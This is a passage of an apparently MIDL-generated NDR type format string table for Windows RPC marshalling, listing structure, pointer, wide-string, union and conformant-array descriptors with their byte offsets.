0x8,\t/* FC_UP [simple_pointer] */\n/* 574 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 576 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 578 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (580) */\n/* 580 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 582 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 586 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (594) */\n/* 588 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 590 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 592 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 594 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 596 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 598 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 600 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 602 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 604 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 606 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 608 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (610) */\n/* 610 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 612 */\tNdrFcShort( 0x88 ),\t/* 136 */\n/* 614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 616 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (640) */\n/* 618 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 620 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 622 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 624 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb9,\t\t/* FC_UINT3264 */\n/* 626 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 628 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 630 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 632 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 636 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 640 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 642 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 644 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 646 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 648 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 650 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 652 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 654 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 656 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 658 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 660 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 662 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 664 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 666 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 668 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 670 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 672 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 674 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 676 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 678 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 680 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 682 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 684 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 686 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (688) */\n/* 688 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 690 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 692 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 694 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (694) */\n/* 696 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 698 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 700 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (702) */\n/* 702 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 704 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 706 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 708 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (716) */\n/* 710 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 712 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 714 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 716 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 718 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 720 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 722 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 724 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 726 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (728) */\n/* 728 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 730 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 732 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 734 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (744) */\n/* 736 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 738 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 740 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 742 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 744 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 746 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 748 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 750 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 752 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 754 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (756) */\n/* 756 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 758 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 762 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 764 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (766) */\n/* 766 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 768 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 770 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 772 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (778) */\n/* 774 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 776 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 778 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 780 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 782 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 784 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 788 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (788) */\n/* 790 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 792 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 794 */\tNdrFcShort( 0xfe9a ),\t/* Offset= -358 (436) */\n/* 796 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 798 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 800 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (802) */\n/* 802 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 804 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 806 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 808 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (814) */\n/* 810 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 812 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 814 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 816 */\tNdrFcShort( 0xfd00 ),\t/* Offset= -768 (48) */\n/* 818 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 820 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (822) */\n/* 822 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 824 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 826 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 828 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 830 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 832 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 834 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 838 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 842 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 844 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 846 */\tNdrFcShort( 0x23c ),\t/* Offset= 572 (1418) */\n/* 848 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 850 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 852 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 854 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 856 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 858 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 862 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 866 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (868) */\n/* 868 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 870 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 872 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 876 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (910) */\n/* 878 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 882 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (928) */\n/* 884 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 888 */\tNdrFcShort( 0x50 ),\t/* Offset= 80 (968) */\n/* 890 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 894 */\tNdrFcShort( 0x9e ),\t/* Offset= 158 (1052) */\n/* 896 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 900 */\tNdrFcShort( 0xf4 ),\t/* Offset= 244 (1144) */\n/* 902 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 906 */\tNdrFcShort( 0x154 ),\t/* Offset= 340 (1246) */\n/* 908 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (907) */\n/* 910 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 912 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (914) */\n/* 914 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 916 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 918 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 920 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (924) */\n/* 922 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 924 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 926 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 928 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 930 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (932) */\n/* 932 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 934 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 936 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 938 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (948) */\n/* 940 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 942 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 944 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 946 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 948 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 950 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 952 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 954 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 956 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 958 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 960 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 962 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 964 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 966 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 968 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 970 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (994) */\n/* 972 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 974 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 976 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 978 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 980 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 982 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 984 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 988 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 992 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 994 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 996 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 998 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1000 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (1016) */\n/* 1002 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1004 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1006 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1008 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1010 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1012 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1014 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1016 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1018 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1020 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1022 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1024 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1026 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1028 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1030 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1032 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1034 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1036 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1038 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1040 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1042 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1044 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1046 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1048 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1050 */\tNdrFcShort( 0xffb2 ),\t/* Offset= -78 (972) */\n/* 1052 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1054 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1078) */\n/* 1056 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1058 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1060 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1062 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1064 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1066 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1068 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1072 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1076 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1078 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1080 */\tNdrFcShort( 0x68 ),\t/* 104 */\n/* 1082 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1084 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (1104) */\n/* 1086 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1088 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1090 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1092 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1094 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1096 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1098 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1100 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1102 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1104 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1106 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1108 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1110 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1112 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1114 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1116 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1118 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1120 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1122 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1124 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1126 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1128 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1130 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1132 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1134 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1136 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1138 */\tNdrFcShort( 0xff5a ),\t/* Offset= -166 (972) */\n/* 1140 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1142 */\tNdrFcShort( 0xffaa ),\t/* Offset= -86 (1056) */\n/* 1144 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1146 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1156) */\n/* 1148 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1150 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1154 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1156 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1158 */\tNdrFcShort( 0x98 ),\t/* 152 */\n/* 1160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1162 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (1190) */\n/* 1164 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1166 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1168 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1170 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1172 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1176 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1178 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1180 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1182 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (1148) */\n/* 1184 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1186 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1188 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1190 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1192 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1194 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1196 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1198 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1200 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1202 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1204 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1206 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1208 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1210 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1212 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1214 